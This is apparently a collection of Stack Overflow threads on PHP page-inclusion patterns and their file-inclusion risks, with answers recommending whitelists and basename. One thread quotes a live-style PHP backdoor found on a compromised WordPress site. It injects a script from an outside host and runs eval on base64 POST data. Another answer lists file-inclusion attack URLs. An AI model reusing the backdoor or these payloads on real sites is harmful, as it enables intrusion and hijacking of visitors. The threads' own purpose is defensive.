<?php
if (preg_match('/^[a-z0-9]+$/', $_GET['page'])) {
$page = realpath('includes/'.$_GET['page'].'.php');
$tpl = realpath('templates/'.$_GET['page'].'.html');
if ($page && $tpl) {
include $page;
include $tpl;
} else {
// log error!
}
} else {
// log error!
}
?>
How safe would you say this is?
Gumbo here on Stack Overflow wrote it.
Dynamic Include Safety
I wanna hear your opinions.
cheers
My first thought isn't about safety, but about why in the world would you do that?
I'd say it's pretty safe. Just don't allow anything to write to those folders. PHP files are traditionally inside the web root of a server which is dangerous to start with. It would be better to place the files being loaded to an area that's absolutely inaccessible to the outside given a configuration error or a .htaccess file going missing.
you including your own code. how safe is it?
I could see some potential issues there, especially if the 'page' variable contained '..' or other such things that could allow them to see something they weren't supposed to be able to see.
I do something similar on a few sites of mine, but I would first check 'page' to make sure it references one of a set of allowed pages.
Related
Can someone please advise what this php code will do? I have found this code on every .php pages only. Other pages like js / css / php.ini are fine. Is this malicious code? If yes, please suggest how to prevent the malicious activity.
Here is the Code:
global $sessdt_o;
if(!$sessdt_o) {
$sessdt_o = 1;
$sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f);
} else {
echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
}
} else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f);
} else {
echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
}
$sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
I haven't examined it closely, but only the line
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
shows me already that it is, if not malicious, then very very close - there is code injection possible.
It's more likely it will redirect your every page to attacker website.
The # will halt any errors so you wont get any logs from this script.
You should remove it if you want your site to work properly.
EDIT: it doesn't redirect but it will inject anything it wants on your pages.
The second part of the script where it checks for cookies will add a javascript from his website and can do malicious things.
The last part I don't think anyone will be able to guess what is it because it relies on some post variable and that's $_POST['showimg'], I guess he attacked your website with POST.
Things to do: Change your passwords, check for write permissions on your files, they shouldn't be 0777, backup database and WordPress Template, delete WordPress install and re-install from scratch. In your template search for his code then add your cleaned template.
Your problem is not the code itself, it's how it got there in the first place. You need to check the write permissions on your files/folders to make sure no one from the outside can modify them.
You mentioned that you're using wordpress, please read this article about hardening wordpress security. I suggest that you lock down your blog (if it's feasible) until you fix your security issues.
im a security analyst and i believe it is redirecting you to a possible malicious website if and only if you do not have that cookie. if you already have that cookie then the script will know you have already been there and possibly researching the malware thus not executing the redirect. The image may be like a detect debugger preset API.. this is just my opinion.
What is the best way if i want do something like these;
I call it page calling.
I have an index.php which will run the config.php
And i want to have index.php as my core then do something like
index.php?customer=home or index.php?customer=viewaccount
index.php?admin=home or index.php?admin=updateproduct
then call the particular php file eg. home.php , viewaccount.php
Best regards
I really appreciate yours help.=)
It sounds like you are talking about a design pattern known as the Front Controller Pattern.
It is certainly possible to implement your own front controller, but almost every PHP framework will have this capability already. I recommend you try Zend Framework.
I wouldn't mix admin and puclic areas in the same script.
So, for the public area you can do something like
<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="pages/$name.htm";
if (is_readable($file)) {
include($file);
} else {
header("HTTP/1.0 404 Not Found");
readfile("404.html");
}
?>
and then address customer pages like this index.php?home, index.php?viewaccount
Best is to check the $_GET parameter against an 'whitelist' array of allowed script names. After that, you can just include the file.
if ( in_array( $_GET['admin'], array( 'home', 'updateproduct' ) ) ) {
include( $_GET['admin'] . '.php');
}
Okay I couldn't be bothered to comment all of the answers here so I'll say it to you, even though this post will probably get put down as its not a direct help.
You need to be very careful when including files from a POST or GET request. Just be aware of Remote/Local file inclusion vulnerabilities when writing code like that. index.php?page=/etc/passwd or index.php?page=www.myEvilScript.com/evil.php
Many people can get hacked this way and you don't want that to happen to you.
Always sanitize your data, so stripslashes($_GET['admin']); or whatever method you want to use.
The name for this pattern is a front controller.
You can implement the multiplexing on the webserver (e.g. using mod_rewrite) or in your PHP code.
Here's how NOT to do it:
<?php
require_once($_REQUEST['customer']);
require_once($_REQUEST['admin']);
C.
Firstly, I don't know what to call this thing :) I want to know the key, structure and example how to achieve my goal.
Example, I don't want create separate file like register.php, login.php, about.php faq.php. Here I want the register, login about, faq ,etc will handle by index.php by example, maybe something like index.php?p=register
How do I create page something like that and what this structure called in PHP programming. Let me know.
In index.php?p=register the part after ? is called "Query String". PHP will by default parse it for you and provides the superglobal $_GET. Just try it out yourself
var_dump($_GET);
To provide a more appropriate answer using Neals code, use basename to filter out non-essential file information:
$page = isset($_GET['p'])?basename($_GET['p']):'main';
include_once "$page.php";
You could also create a "white list" to ensure that only the proper files get included:
$whiteList = array('faq', 'register', 'profile');
$page = (isset($_GET['p']) && in_array($_GET['p'], $whiteList))?basename($_GET['p']):'main';
include_once "$page.php";
Both ways should be secure, obviously, the white list will be a bit more so. This tact, depending on how you do is generally referred to as "BootStrapping" IE, one entrance page to access the rest.
UPDATE
To further the security, I would set a variable, $included would be sufficient, to add to the pages that are being included. This would prevent direct access to them (assuming that register_globals is turned off like it should be, so something like:
$whiteList = array('faq', 'register', 'profile');
$page = (isset($_GET['p']) && in_array($_GET['p'], $whiteList))?basename($_GET['p']):'main';
$included = true;
include_once "$page.php";
Then on $page.php at the top you would have something like:
<?php
if (!$included)
die('Accessing the file directly is not allowed.');
Which would prevent calls to http://yoursite.com/register.php from being allowed to dish out the file. This has it's negatives to it. Instead of putting the files you are going to be including in the webroot, I would put them outside of the webroot or in an .htaccess protected directory, which would ensure that users could not access them directly and must access them through the index.php.
I'm not sure what the whole thing is called, but if you're using index.php like that, it's called a FrontController. It's how MVC frameworks work:
/index.php?q=ctrl/action
/index.php/ctrl/action
/ctrl/action
They're all handled by/in index.php using "ctrl/action"
You want to look up php templates or even html iframe. There are several ways to do this, but some are better than others. In asp.net it's called a MasterPage. Hopefully some of these terms help you out.
If you really want to do something like this, then you can use the get field, but you need to predefine your pages, so for this request: index.php?p=my_page
<?php
$page = $_GET['p'];
$pages = array(
'my_page' => 'mypage.php',
'another_page' => 'another.php',
...
);
$include = $pages[$page];
if(!empty($include)) {
include_once($include);
} else {
echo 'No such page';
}
?>
This keeps the include completely separate from what is passed on the URL so there is no chance for risky things to get passed.
i'm doing a simple thingy in php and i wonder how i can test if the variable $path contains the following structure ../
so i'll simply have a ?path=somepath structure in my url, and if anybody would enter ../ it allows him to go one directory up. I know of course that that's not the best solution, however for my little thingy it's enough if i just test the $path variable for a string of "../" in it. if so die();
i'm not sure what's the best way to test that!
regards matt
Instead of doing that, you could just call realpath() on it and check if the path it's supposed to be in is a prefix of that.
Even better, why not keep a whitelist and reject anything not in it?
to answer your question:
if(strpos($path,'../') !== false){
// looks like someone 's trying to hack here - simply
// do nothing (or send an email-notification to yourself
// to be informed and see how often this happens)
}else{
// here comes the magic
}
but: you really shouldn't do so. if you want an easy solution, use a switch-statement for every possible $path and include the relevant file (or whatever you have to do).
I's an alternative solution that allow you to customize the url....
<?php
$arr= array(
"register" => "register.php",
"login" => "userlogin.php",
"admin" => "adminlogin.php",
"etc" => "otherpage.php",
);
if ( isset ( $_GET['path'] )
if ( array_key_exists( $_GET['path'] , $arr) ){
//do some stuff...
include( $arr[$_GET['path']] );
}
else
echo 'Page Not Found!';
else
echo 'Required Field Empty!';
?>
So calling index.php?path=admin page adminlogin.php will be included....
one of the easier ways is to harden your php.ini config, specifically the open_basedir directive. Keep in mind, some CMS systems do actually use ..\ quite a bit in the code, and when there are includes outside the root folder this can create problems. (i.e. pear modules)
Another method is to use mod_rewrite.
Unless you are using an include file to check each and every URL for injection from $_GET and $_SERVER['request_uri'] variables, you will open doors for this kind of attack. for example, you might protect index.php but not submit.php. This is why hardening php.ini and .htaccess is the preferred method.
<?php
if (preg_match('/^[a-z0-9]+$/', $_GET['p'])) {
$page = realpath('pages/'.$_GET['p'].'.php');
$tpl = realpath('templates/'.$_GET['p'].'.html');
if ($page && $tpl) {
include $page;
include $tpl;
} else {
include('error.php');
}
}
?>
How safe would you say this is?
I use this for a template file, so it can include "pages" instead of having to clutter a single file with tons of functions/strings/switch-cases/elseifs (take your pick) or create tons of files with the same layout.
It checks the realpath of the directory includes should be in and realpath of the file that is to be included, if the realpath of the file starts with the include directory, it is allowed to be included.
<?
#If you're worried about funky characters messing with stuff, use this
#preg_replace("/[^A-Za-z0-9_\-]+/","",$str);
if (isset($_REQUEST['page'])) {
$path=realpath("../inc/page").DIRECTORY_SEPARATOR;
$full_page=realpath($path.$_REQUEST['page'].".php");
if (file_exists($full_page)&&(strpos($full_page,$path)===0)) {
include($full_page);
} else {
echo "FAILED";
}
}
?>
Well, actually it realpath in this case doesn't provide any security. Actually it that case it serves no purpose at all, as include internally will expand the path. Your security here actually depends on preg_match. Note however, that regex you're using won't allow you to use an any page with upper case letter, with underscore or dash.
Anyhow, I don't think that including files based on parameters passed in request is good idea. There is something wrong with your design if you need that.
realpath doesn't help you at in this instance, as include can resolve the page path to the same file, no matter whether it is realpath'd or the original relative. It 'seems' to be valid, but I wouldn't trust that piece of code personally. I'm sure someone figures a neat way to inject a null-character to the input, wreaking havoc to the string termination.
What you need to do instead, to be safe, is keep a whitelist (or blacklist, if it happens to suit better, but prefer whitelists) of all allowed inputs/pages.
It seems to be safe....
But not efficient.
In MVC you have the controller and view dirs preset and pre known. No point in doing a stat to check if view/controller exists.
realpath() will actually have some effect in this case as it'll return FALSE if the target file does not exits. But as the other posters already said - this will not add any security to the code.
It's rather a way of error-handling in case the designated files do not exist.
Better run basename() on $_GET['p']. No directory traversal attacks for sure.
I cannot comment on the PHP realpath, but if it's just a wrapper for the system's realpath function then one thing to be aware of: on some systems (eg, Solaris), if the process receives a signal while realpath is executing it'll return the empty string ... in which case, you'd have to ensure your code is setup to handle that type of situation (unless the PHP implementation resolves that particular dilemma for you)